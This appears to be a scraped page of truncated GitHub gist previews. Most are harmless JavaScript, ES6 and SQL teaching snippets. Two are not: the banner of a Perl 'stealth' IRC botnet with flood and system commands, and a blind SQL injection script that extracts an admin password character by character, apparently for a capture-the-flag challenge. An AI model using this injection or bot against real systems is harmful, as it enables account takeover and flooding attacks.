This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var table = document.querySelectorAll('table')[0]; | |
var links = Array.prototype.map.call(table.querySelectorAll('a'), function(a) {return a.href}); | |
var timer = window.setInterval(function() { | |
document.body.innerHTML = "<img src='"+links[parseInt(Math.random()*links.length)]+"'>"; | |
}, 10000); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
create table 学生 (学生番号, 学生名, 都市, 年齢); | |
insert into 学生 values | |
('S1', '山田', '京都', 19), | |
('S2', '鈴木', '大阪', 20), | |
('S3', '小島', '奈良', 22), | |
('S4', '武田', '京都', 18), | |
('S5', '高木', '神戸', 21); | |
create table 科目 (科目番号, 科目名, 先生, 単位数); | |
insert into 科目 values | |
('J1', 'データベース', '田中', 4), |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Array.prototype.forEach.call(document.getElementsByTagName('a'), function(i) {i.innerHTML = '<img src="'+i.href+'">'}) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// executed by traceur 0.0.59 | |
// basic | |
[this.a, b] = [1, 2] | |
console.log(this.a, b) // => 1 2 | |
var {a, b: [c], d: d} = {a: 1, b: [2], d: 3} | |
console.log(a, c, d) // => 1 2 3 | |
var [a, , {b: c}, d] = [1, 3, {b: 2}] | |
console.log(a, c, d) // => 1 2 undefined | |
// parameter |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// String.raw | |
console.log(`foo\n`) // foo | |
console.log(String.raw`foo\n`) // foo\n | |
console.log(`foo\n`.length) // 4 | |
console.log(String.raw`foo\n`.length) // 5 | |
console.log(String.raw`foo${1+2}`) // foo3 | |
console.log(`\x31`) // 1 | |
console.log(String.raw`\x31`) // \x31 | |
console.log(String.raw({ raw: ["a", "b", "c"] }, 0, 1, 2, 3)) // => a0b1c |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
#################################################################################################################### | |
#################################################################################################################### | |
## perlBot v1.02012 By unknown @unknown ## [ Help ] #################################### | |
## Stealth MultiFunctional IrcBot Writen in Perl ##################################################### | |
## Teste on every system with PERL instlled ## !x @system ## | |
## ## !x @version ## | |
## This is a free program used on your own risk. ## !x @channel ## | |
## Created for educational purpose only. ## !x @flood ## | |
## I'm not responsible for the illegal use of this program. ## !x @utils |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// n秒経ったらresolve | |
var delay = function(second) { | |
return new Promise(function(resolve, reject) { | |
setTimeout(function() { | |
resolve(second) | |
}, 1000 * second) | |
}) | |
} | |
delay(2).then(function(n) { | |
console.log(n) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var file = $('.file').css({ margin: 0 }) | |
$('body').empty() | |
file.appendTo('body') | |
$('.meta').remove() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// normal generator | |
function* gen() { | |
yield 2; | |
yield 3; | |
} | |
gen2 = function* () {} | |
a = gen() | |
for (b of a) { | |
console.log(b) | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var send = function(pos, text) { | |
var xhr = new XMLHttpRequest() | |
xhr.open('get', '/?name=' + encodeURIComponent("' union select '', '' from (select * from user where name = 'admin') as a where hex(substring(a.passwd,"+ pos +",1)) = '" + text)) | |
xhr.addEventListener('load', function() { | |
if (/A new password was generated and sent to your email address/.test(xhr.responseText)) { | |
var char = String.fromCharCode(parseInt(text, 16)) | |
console.log(char) | |
flag.push(char) | |
next(pos + 1) | |
} |